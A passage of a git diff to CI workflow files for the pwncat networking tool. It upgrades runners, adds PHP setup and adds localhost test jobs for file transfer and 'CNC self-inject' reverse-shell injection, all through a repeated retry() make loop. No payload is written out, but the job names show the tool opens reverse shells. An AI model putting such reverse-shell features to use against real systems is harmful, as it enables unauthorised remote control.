+ if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-ubuntu-3.6.yml b/.github/workflows/test-x64-ubuntu-3.6.yml index 0e1720fe..0b5399ac 100644 --- a/.github/workflows/test-x64-ubuntu-3.6.yml +++ b/.github/workflows/test-x64-ubuntu-3.6.yml @@ -11,7 +11,7 @@ on: jobs: test: - runs-on: ubuntu-16.04 + runs-on: ubuntu-latest strategy: fail-fast: False @@ -29,9 +29,11 @@ jobs: python-version: 3.6 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-ubuntu-3.7.yml b/.github/workflows/test-x64-ubuntu-3.7.yml index d4a47098..9b809cd4 100644 --- a/.github/workflows/test-x64-ubuntu-3.7.yml +++ b/.github/workflows/test-x64-ubuntu-3.7.yml @@ -11,7 +11,7 @@ on: jobs: test: - runs-on: ubuntu-16.04 + runs-on: ubuntu-latest strategy: fail-fast: False @@ -29,9 +29,11 @@ jobs: python-version: 3.7 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-ubuntu-3.8.yml b/.github/workflows/test-x64-ubuntu-3.8.yml index 83578181..2a2e05a8 100644 --- a/.github/workflows/test-x64-ubuntu-3.8.yml +++ b/.github/workflows/test-x64-ubuntu-3.8.yml @@ -11,7 +11,7 @@ on: jobs: test: - runs-on: ubuntu-16.04 + runs-on: ubuntu-latest strategy: fail-fast: False @@ -29,9 +29,11 @@ jobs: python-version: 3.8 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-ubuntu-pypy2.yml b/.github/workflows/test-x64-ubuntu-pypy2.yml index 6081960f..5e01c6d8 100644 --- a/.github/workflows/test-x64-ubuntu-pypy2.yml +++ b/.github/workflows/test-x64-ubuntu-pypy2.yml @@ -11,7 +11,7 @@ on: jobs: test: - runs-on: ubuntu-16.04 + runs-on: ubuntu-latest strategy: fail-fast: False @@ -29,9 +29,11 @@ jobs: python-version: pypy2 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + 